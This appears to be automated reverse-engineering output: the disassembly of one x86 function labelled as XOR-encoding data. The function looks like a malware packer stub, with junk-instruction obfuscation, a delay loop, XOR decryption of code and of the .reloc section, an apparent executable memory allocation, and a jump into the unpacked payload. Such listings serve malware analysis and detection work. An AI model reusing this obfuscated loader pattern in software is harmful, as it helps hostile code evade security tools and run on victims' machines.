Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xde08a1a6
add ecx, ecx
not esi
popal
sub esi, ecx
mov esi, ecx
add ecx, 0xa77fbdb5
mov edx, 0
mov esi, ecx
add eax, ebx
sub ebx, 0x54470fda
add ebx, 0xd1531648
mov edi, esi
not eax
add ebx, 1
add eax, 0x596e6683
mov ecx, edi
dec ebx
sub eax, ebx
inc edx
and ebx, ebx
or ebx, eax
mov ebx, eax
cmp edx, 0x100c24d
jne 0xa789c6
and eax, eax
and ebx, ebx
and esi, ecx
mov esi, ecx
sub esi, ecx
mov ecx, 0xa78796
add ebx, ebx
mov eax, edx
mov edx, 0x294a9ab9
mov esi, 0xa7898a
sub eax, 0x63d6161b
sub ebx, eax
or edx, edx
mov edi, dword [ecx]
sub edx, 0x501922d
add ebx, 0x31a29ef4
and edi, 0xff
sub edx, ebx
mov edx, 0x8a3122e
add eax, 0xb151e11d
xor dword [esi], edi
mov edx, eax
and ebx, edx
inc esi
or edx, ebx
and eax, edx
sub ebx, edx
inc ecx
or edx, eax
mov ebx, eax
and eax, edx
cmp esi, entry0
jl 0xa78a25
dec eax
not eax
and eax, ebx
mov edx, 0x35c81957
sub eax, edx
add eax, 0x1eac743a
add ecx, 0x1cf475e9
sub ebx, esi
mov edx, 0xa7898e
dec edi
sub ecx, 0xa63bcd17
mov esi, edi
mov edx, dword [edx]
sub ecx, edi
not edi
mov edx, dword [edx]
sub edi, esi
mov ebx, edi
or esi, ecx
push edx
sub ebx, 0xc0d5218f
sub esi, ecx
mov ecx, edi
mov edx, 0xa7898a
not ebx
sub ebx, 0xa6e41e7c
add ecx, ebx
mov edx, dword [edx]
or esi, ebx
dec ebx
mov ebx, 0xc36431a0
mov edx, dword [edx]
or ecx, edi
not ecx
push 0xa78992
and ecx, edi
sub edi, ebx
sub edi, esi
call edx
sub ecx, edi
not esi
add esi, ecx
pop edx
add ebx, 0xef7389e1
add edi, ebx
dec ebx
push 0xa7899f
dec edi
add esi, 0xbeb91ed0
add edi, 0x57c904cb
push eax
not edi
inc esi
or ecx, esi
call edx
not ecx
sub edi, ecx
add edi, 1
push 0x40
or edi, ebx
sub edi, 0x4bcb1737
sub esp, 4
mov dword [esp], 0x3000
add esi, 0xb88d6fc3
mov ebx, 0xdc28f07f
push 0x20000f21
dec edi
or ebx, edi
sub esp, 4
mov dword [esp], 0
and ecx, esi
add ecx, ebx
mov edi, 0x8b80d5fd
call eax
not esi
not ecx
add ebx, ecx
add eax, 0x20000e9f
mov ebx, 0x1c0ca4e7
sub edi, 0xe8dd844e
mov edx, 0xa632c5d7
sub edi, 0xd963ebb4
not ebx
add ecx, esi
mov dword [eax], edx
inc ecx
add ecx, 0x30c3bb9e
mov edx, dword [eax]
or esi, edi
add edi, ecx
mov edi, ebx
cmp edx, 0xa632c5d7
je 0xa78b8c
mov eax, 0
mov dl, byte [eax]
add ecx, ecx
mov ebx, 0x89c8b752
not edi
dec ecx
inc esi
or ecx, esi
add esi, esi
add ecx, 0xdc394d93
mov edi, section..reloc
inc esi
mov ecx, esi
mov ebx, 0xa78795
mov esi, ecx
and esi, esi
mov eax, 0
add ecx, ecx
and ecx, esi
mov edx, 0xa78796
sub esi, ecx
and ecx, ecx
or esi, ecx
lea edx, [eax + edx]
sub ecx, 0xe32a4eea
add ecx, esi
and esi, ecx
mov edx, dword [edx]
mov esi, ecx
dec esi
dec ecx
and edx, 0xff
or esi, ecx
not esi
and esi, esi
inc eax
sub ecx, 0x30beb17f
not ecx
dec esi
cmp eax, 0x1f4
jne 0xa78bfc
mov eax, 0
add esi, 1
sub esi, 0x81c0a962
and esi, ecx
mov esi, ecx
xor dword [edi], edx
add ecx, 1
inc ecx
sub esi, ecx
add edi, 2
and ecx, ecx
not esi
cmp edi, ebx
jl 0xa78bbb
mov esi, 0x74c6207d
mov esi, ecx
inc ecx
inc ecx
mov edi, section..reloc
add ecx, ecx
mov edx, ecx
dec edx
mov ebx, section..reloc
add ecx, 0x937043e3
mov edx, ecx
mov esi, 0xa78795
dec edx
sub edx, 0xa3ddbe72
mov eax, 0
add edx, 1
inc ecx
mov al, byte [ebx]
dec edx
mov ecx, 0x26beaf96
not edx
mov byte [edi], al
mov edx, 0x2fb805d4
and ecx, edx
inc edi
add ecx, 0x19e31d32
add edx, ecx
sub edx, 1
add ebx, 2
mov ecx, edx
sub ecx, 0xd35dc550
cmp ebx, esi
jle 0xa78c61
not ecx
not ecx
sub ecx, 0x7dfe470e
and ecx, esi
or esi, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
add esi, esi
mov ecx, 0x73eba63f
ret